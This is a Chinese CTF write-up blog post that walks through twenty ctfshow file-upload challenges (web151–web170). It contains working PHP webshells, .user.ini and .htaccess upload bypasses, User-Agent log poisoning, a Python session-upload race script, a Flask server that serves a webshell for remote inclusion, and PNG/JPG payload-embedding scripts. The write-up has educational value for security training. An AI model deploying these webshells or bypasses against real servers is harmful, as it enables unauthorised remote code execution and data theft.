ctfshow web入门文件上传总结

1.web151

前端验证
前端验证,修改html代码,上传还有一句话木马的php文件,之后用蚁剑连接即可找到flag

<?php eval($_POST[1])?>

2.web152

后端验证,修改mime类型(content-type)
burp抓包,修改content-type为image/png

3.web153

.user.ini类
后端验证mime类型,只能是图片格式,不能有php后缀
.user.ini配置文件
burp抓包,上传.user.ini,此配置文件时nginx服务的配置文件,写入auto_prepend_file=2.jpg,在上传2.jpg,之后把http://d6a3715e-bc9a-4bc2-8e1e-e540b0bbaeaf.challenge.ctf.show/upload/index.php添加到蚁剑中即可读取flag,访问此链接时会自动包含2.jpg

.user.ini利用需要在此目录下还有php文件,user.ini 上传的文件  原有的php文件需要在同一目录下
.user.ini
auto_prepend_file   表示在文件头包含
auto_append_file  表示在文件尾包含

4.web154

.user.ini类+检测文件内容
后端检查文件内容 类型 不能有php,需要mime类型为图片格式,不能有php后缀
上传.user.ini 写入auto_prepend_file=2.png ,在上传2.php 写一句话木马 <? eval($_POST[1])?>,在把链接加到蚁剑即可读取flag

5.web155

.user.ini类+检测文件内容
文件内容中不能有php,图片必须是png格式,不能有php后缀

php短标签

<? echo '123';?>
<?=(表达式)?>  等价于 <?php echo (表达式)?>
<% echo '123';%>
<script language=”php”>echo '123'; </script>

6.web156

.user.ini类+检测文件内容
文件内容中不能有php,[],图片必须是png格式 ,不能有php后缀
利用的还是.user.ini,写入auto_prepend_file=2.png,在上传2.png ,写入<?php system("cat /var/www/html/flag.???")?>,访问链接就可得到flag (http://…/upload/index.php)

7.web157

.user.ini类+检测文件内容
文件内容中不能有php,[],;, 图片必须是png格式 ,不能有php后缀
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入<?php system("cat /var/www/html/flag.???")?>,访问链接就可得到flag (http://…/upload/index.php)

8.web158

.user.ini类+检测文件内容
文件内容中不能有php,[],;,{},图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入<?php system("cat /var/www/html/flag.???")?>,访问链接就可得到flag (http://…/upload/index.php)

9.web159

.user.ini类+检测文件内容
文件内容中不能有php,[],;,{},(),图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入<?=`tac …/f*`>,这里的短链接没=是执行不了的,访问链接就可得到flag (http://…/upload/index.php)

10.web160

日志包含配和文件上传(.user.ini)
文件内容中不能有php,[],;,{},(),空格,log,``,图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入<?=include"/var/lo"."g/nginx/access.lo"."g"?>,访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话<?php eval($_POST[1])?>,再次访问链接 (http://…/upload/index.php)进行命令执行1=system(“tac …/f*”)?>,得到flag

11.web161

日志包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
这题注意上传直接上传图片是不行的
文件内容中不能有php,[],;,{},(),空格,log,``,图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png,在上传1.png ,写入 GIF89a <?=include"/var/lo"."g/nginx/access.lo"."g"?>,访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话<?php eval($_POST[1])?>,再次访问链接 (http://…/upload/index.php)进行命令执行1=system(“tac …/f*”)?>,得到flag

12.web162

session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
过滤了点,日志包含没法用了,采用session文件包含
和上题相比过滤了点,日志包含就用不了了,这里采用的是session包含
先上传png,写入GIF89a<?=include"/tmp/sess_1"?>,在上传.user.ini,写入GIF89a
auto_prepend_file=png

import requests
import threading
session=requests.session()
sess='1'    #和png后面要包含文件的对应 
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
	'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={
	'file':'1'  #无所谓
}
cookies={
	'PHPSESSID': sess
}

def write():
	while True:
		r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
	while True:
		r = session.get(url2)
		if 'flag' in r.text:
			print(r.text)
			
threads = [threading.Thread(target=write),
       threading.Thread(target=read)]
for t in threads:
	t.start()
]

13.web163

session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
远程文件包含和文件上传(.user.ini) 检测文件头 绕过getimagesize
第二种方法也适用与上一题
1.和上题一样
session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
过滤了点,日志包含没法用了,采用session文件包含
和上题相比过滤了点,日志包含就用不了了,这里采用的是session包含
先上传png,写入GIF89a<?=include"/tmp/sess_1"?>,在上传.user.ini,写入GIF89a
auto_prepend_file=png
2.
可以使用远程文件包含,上传.user.ini,需要把ip转换为数字,注意远程web服务器需要为路由型,这里使用python的flask框架,之后在进行命令执行即可
或者传.user.ini和png分别写入以下内容,这题不行,在上传的一瞬间png文件被删除了
.user.ini
GIF89a
auto_prepend_file=png

png
GIF89a

<?=include"http://10200352//"?>
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
    return '<?php @eval($_POST[1]);?>'
if __name__ == '__main__':
    app.run(port=80,host='0.0.0.0')

14.web164

考察png二次渲染

png渲染脚本



<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
 ?>

15.web165

考察jpg二次渲染
照片选择这张成功率会高很多
请添加图片描述

先把这张照片上传到服务器上,在把服务器上已经渲染好的照片下载下来,使用下载下来的照片使用下方的jpg渲染脚本插入php代码

jpg渲染脚本(特别注意需要在linux环境下运行此脚本,windows运行无法渲染成功)
`

<?php
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
    die('php-gd is not installed');
}
if(!isset($argv[1])) {
    die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
    $nullbytePayloadSize = $pad;
    $dis = new DataInputStream($argv[1]);
    $outStream = file_get_contents($argv[1]);
    $extraBytes = 0;
    $correctImage = TRUE;
    if($dis->readShort() != 0xFFD8) {
        die('Incorrect SOI marker');
    }
    while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
        $marker = $dis->readByte();
        $size = $dis->readShort() - 2;
        $dis->skip($size);
        if($marker === 0xDA) {
            $startPos = $dis->seek();
            $outStreamTmp =
                substr($outStream, 0, $startPos) .
                $miniPayload .
                str_repeat("\0",$nullbytePayloadSize) .
                substr($outStream, $startPos);
            checkImage('_'.$argv[1], $outStreamTmp, TRUE);
            if($extraBytes !== 0) {
                while((!$dis->eof())) {
                    if($dis->readByte() === 0xFF) {
                        if($dis->readByte !== 0x00) {
                            break;
                        }
                    }
                }
                $stopPos = $dis->seek() - 2;
                $imageStreamSize = $stopPos - $startPos;
                $outStream =
                    substr($outStream, 0, $startPos) .
                    $miniPayload .
                    substr(
                        str_repeat("\0",$nullbytePayloadSize).
                        substr($outStream, $startPos, $imageStreamSize),
                        0,
                        $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
                    substr($outStream, $stopPos);
            } elseif($correctImage) {
                $outStream = $outStreamTmp;
            } else {
                break;
            }
            if(checkImage('payload_'.$argv[1], $outStream)) {
                die('Success!');
            } else {
                break;
            }
        }
    }
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
    global $correctImage;
    file_put_contents($filename, $data);
    $correctImage = TRUE;
    imagecreatefromjpeg($filename);
    if($unlink)
        unlink($filename);
    return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
    global $extraBytes, $correctImage;
    $correctImage = FALSE;
    if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
        if(isset($m[1])) {
            $extraBytes = (int)$m[1];
        }
    }
}
class DataInputStream {
    private $binData;
    private $order;
    private $size;
    public function __construct($filename, $order = false, $fromString = false) {
        $this->binData = '';
        $this->order = $order;
        if(!$fromString) {
            if(!file_exists($filename) || !is_file($filename))
                die('File not exists ['.$filename.']');
            $this->binData = file_get_contents($filename);
        } else {
            $this->binData = $filename;
        }
        $this->size = strlen($this->binData);
    }
    public function seek() {
        return ($this->size - strlen($this->binData));
    }
    public function skip($skip)
    {
        $this->binData = substr($this->binData, $skip);
    }
    public function readByte() {
        if($this->eof()) {
            die('End Of File');
        }
        $byte = substr($this->binData, 0, 1);
        $this->binData = substr($this->binData, 1);
        return ord($byte);
    }

    public function readShort() {
        if(strlen($this->binData) < 2) {
            die('End Of File');
        }
        $short = substr($this->binData, 0, 2);
        $this->binData = substr($this->binData, 2);
        if($this->order) {
            $short = (ord($short[1]) << 8) + ord($short[0]);
        } else {
            $short = (ord($short[0]) << 8) + ord($short[1]);
        }
        return $short;
    }

    public function eof() {
        return !$this->binData||(strlen($this->binData) === 0);
    }
}
?>

16.web166

考察zip文件上传

17.web167

考察apache配置文件.htaccess

<FilesMatch "\.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

上传一张图片马即可

18.web168

基础免杀,过滤post,get,eval等

<?php $_REQUEST[1]($_REQUEST[2])?>

19.web169

考察nginx服务器的配置文件.user.ini日志文件包含
服务器是nignx,上传.user.ini来进行日志包含
进行包含时要注意在上传文件的目录中需要有index.php文件,因为没有index.php文件,所以先上传一个index.php文件,里面随便写就可以
.user.ini

auto_append_file=/var/log/nginx/access.log```

访问上传的文件位置,在user-agent写入一句话木马
post传入1=system(“tac …/flagaa.php”); 执行即可

20.web170

考察nginx服务器的配置文件.user.ini日志文件包含
服务器是nignx,上传.user.ini来进行日志包含
进行包含时要注意在上传文件的目录中需要有index.php文件,因为没有index.php文件,所以先上传一个index.php文件,里面随便写就可以
.user.ini

auto_append_file=/var/log/nginx/access.log```

访问上传的文件位置,在user-agent写入一句话木马
post传入1=system(“tac …/flagaa.php”); 执行即可

var code = “ebb7a1ab-dbdd-468b-be74-dbc47c11310d”

posted @ 2024-11-02 14:17  mushangqiujin  阅读(9)  评论(0编辑  收藏  举报  来源